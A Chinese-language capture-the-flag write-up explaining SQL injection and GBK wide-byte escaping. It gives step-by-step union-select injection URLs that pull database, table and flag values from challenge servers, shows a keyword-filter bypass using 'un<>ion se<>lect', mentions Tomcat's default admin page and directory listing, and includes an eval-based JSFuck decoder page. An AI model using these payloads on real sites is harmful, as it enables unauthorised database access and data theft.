SQL Injection:
就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到后臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。
首先讓我們了解什么時候可能發生SQL Injection。
假設我們在瀏覽器中輸入URL www.sample.com,由于它只是對頁面的簡單請求無需對數據庫動進行動態請求,所以它不存在SQL Injection,當我們輸入www.sample.com?testid=23時,我們在URL中傳遞變量testid,并且提供值為23,由于它是對數據庫進行動態查詢的請求(其中?testid=23表示數據庫查詢變量),所以我們可以該URL中嵌入惡意SQL語句。
寬字符是指兩個字節寬度的編碼技術,如UNICODE、GBK、BIG5等。當MYSQL數據庫數據在處理和存儲過程中,涉及到的字符集相關信息包括:
(1) character_set_client:客戶端發送過來的SQL語句編碼,也就是PHP發送的SQL查詢語句編碼字符集。
(2) character_set_connection:MySQL服務器接收客戶端SQL查詢語句后,在實施真正查詢之前SQL查詢語句編碼字符集。
(3) character_set_database:數據庫缺省編碼字符集。
(4) character_set_filesystem:文件系統編碼字符集。
(5) character_set_results:SQL語句執行結果編碼字符集。
(6) character_set_server:服務器缺省編碼字符集。
(7) character_set_system:系統缺省編碼字符集。
(8) character_sets_dir:字符集存放目錄,一般不要修改。
寬字節對轉義字符的影響發生在character_set_client=gbk的情況,也就是說,如果客戶端發送的數據字符集是gbk,則可能會吃掉轉義字符\,從而導致轉義消毒失敗。
應用場景: 寬字節注入出口
Test1:http://103.238.227.13:10083/?id=1%df%27
Result1返回數據庫類型為mysql,嘗試利用mysql的gbk編碼漏洞,union select嘗試爆庫
Test2 http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,2%23
Result2:返回數據庫記錄,union select測試到兩列回顯,重新拼表
tips:這里有必要提醒一下,union select [1...n]的含義是在將相應位置替換成你想獲得的數據.union select代表著再找到第一條id為1的記錄同時,更改這條記錄之后一個字段的值依次為2,3,4,5....n
Test3:嘗試嘗試查詢union select 1,database(),拿到記錄所在的數據庫
http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,database()%23
Result3:拿到表名為sql5,嘗試爆表
Test4: 從key表中爆字段,指定記錄id=1的下一個字段為string類型,拿到key
http://103.238.227.13:10083/?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20where%20id=1%23
Result4:拿到id=1保存的flag
通常我們在進行后臺維護時,都會用一個列表來保存注入語句中可能出現的關鍵字, 上文寬字節注入就是一個最好的例子,如果我們過濾
select
,union
字段,當我們在進行注入時,這些敏感詞都會被過濾
應用場景 :敏感詞過濾出口
Test1:為了繞開這些敏感詞,我們普遍采取xss攻擊在關鍵字的前兩個字母后加上<>避免被過濾掉
http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%201,2%23
Result1:拼接表成功,顯示拼接表1,2兩行
Test2:由上我們再一次爆庫
URL轉義before:
http://103.238.227.13:10087/?id=1 un<>ion se<>lect database(),2%23
after:
http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%20database(),2%23
Result2:找到字段id=1的表sql3
Test3:找到id=hash的記錄,爆key表
URL轉義before:
http://103.238.227.13:10087/?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23
after:
http://103.238.227.13:10087/?id=1%20un%3C%3Eion%20se%3C%3Elect%20hash,2%20fr%3C%3Eom%20sql3.key%23
Result3:拿到flag,加上key括號
Jsp存在漏洞:
通常在本地構建完Jsp項目之后,都要放在一個叫做Tomcat的小型服務器里運行Web項目
PS:Tomcat版本的缺省“/admin”目錄是很容易訪問的。輸入:http://202.103.*.168/admin/,管理員目錄赫然在列。默認情況下,“User Name”應該是admin,“Password”應該是空,輸入用戶和密碼后,并點擊“Login”按鈕,不能進入,陸續使用了幾個比較常見的密碼,也無濟于事。 默認情況下,Tomcat打開了目錄瀏覽功能,而一般的管理員又很容易忽視這個問題。也就是說,當要求的資源直接映射到服務器上的一個目錄時,由于在目錄中缺少缺省的index.jsp等文件,Tomcat將不返回找不到資源的404錯誤,而是返回HTML格式的目錄列表。
應用場景:Jsp注入出口
Test1-9: 嘗試Jsp注入常用方法
Result1-9:均無效
看了一位dalao的wp,才知道要用一個叫做JSfuck的庫,
PS:JSFuck是基于JavaScript原子部分的深奧和教育式編程風格。它只使用六個不同的字符來編寫和執行代碼。這么說有些深奧,我們舉幾個例子來看下吧~
將alert(1)編碼
,得到的1227個字節的JsFuck語言,所以也就是一種特殊的編碼性質,這里mark一下~
Test10:將Test1-9的div style="display:none"
標簽下的jsfuck編碼轉義,Decode JSfuck
index.html
<html>
<head>
<meta charset="UTF-8">
<title>JSFuck decoder</title>
<style type="text/css">
@import 'https://fonts.googleapis.com/css?family=Open+Sans:300';
* {
margin: 0;
padding: 0;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
body {
padding: 20px;
text-align: left;
font-family: Lato;
color: #fff;
background: #52B3D9;
font-family: 'Open Sans', sans-serif;
text-align: center;
}
h1 {
font-weight: 300;
font-size: 40px;
text-transform: uppercase;
text-align: center;
margin: 20px 0;
}
textarea {
display: block;
clear: both;
margin-bottom: 10px;
border-radius: 7px;
padding: 15px 10px;
font-size: 14px;
outline: none;
border: none;
background-color: #34495E;
color: #fff;
-moz-transition: all 0.2s ease-in;
-o-transition: all 0.2s ease-in;
-webkit-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
input {
margin: 0 auto;
position: relative;
vertical-align: top;
width: 150px;
height: 60px;
padding: 0;
font-size: 22px;
font-weight: 300;
color: white;
text-align: center;
text-shadow: 0 1px 2px rgba(0, 0, 0, 0.25);
background: #2980b9;
border: 0;
border-bottom: 2px solid #2475ab;
cursor: pointer;
-webkit-box-shadow: inset 0 -2px #2475ab;
box-shadow: inset 0 -2px #2475ab;
}
input:active {
top: 1px;
outline: none;
-webkit-box-shadow: none;
box-shadow: none;
}
input:-ms-input-placeholder,
textarea:-ms-input-placeholder {
color: #fff;
font-size: 20px;
font-weight: 300;
text-transform: uppercase;
}
input::-moz-placeholder,
textarea::-moz-placeholder {
color: #fff;
font-size: 20px;
font-weight: 300;
text-transform: uppercase;
}
input::-webkit-input-placeholder,
textarea::-webkit-input-placeholder {
color: #fff;
font-size: 20px;
font-weight: 300;
text-transform: uppercase;
box-shadow: none;
-webkit-appearance: none;
}
textarea:hover {
background-color: #22313F;
color: #f2f2f2;
}
textarea:focus {
background-color: #1a252f;
color: #fff;
}
textarea {
height: 550px;
}
</style>
</head>
<body>
<h1>Wanna decode <font color="#f0f060">JSFuck?</font></h1>
<textarea placeholder="Paste your code here!" id="code" style="width:100%;min-height:300px"></textarea>
<input type="submit" onclick="decode()" value="Decode">
<script type="text/javascript">
function decode() {
var code = document.querySelector('#code');
code.value = (/\n(.+)/.exec(eval(code.value.replace(/\s+/, "").slice(0, -2)))[1]);
}
</script>
</body> <xpather id="xpather">
<form id="xpather-form">
<input id="xpather-xpath" type="text" placeholder="enter XPath…" autocomplete="off" spellcheck="false">
</form>
<xpather id="xpather-result"></xpather>
<xpather id="xpather-sidebar-toggler"></xpather>
</xpather>
<xpather id="xpather-sidebar">
<xpather id="xpather-sidebar-spacer"></xpather>
<xpather id="xpather-sidebar-entries"></xpather>
</xpather>
</html>
Result10:flag拿到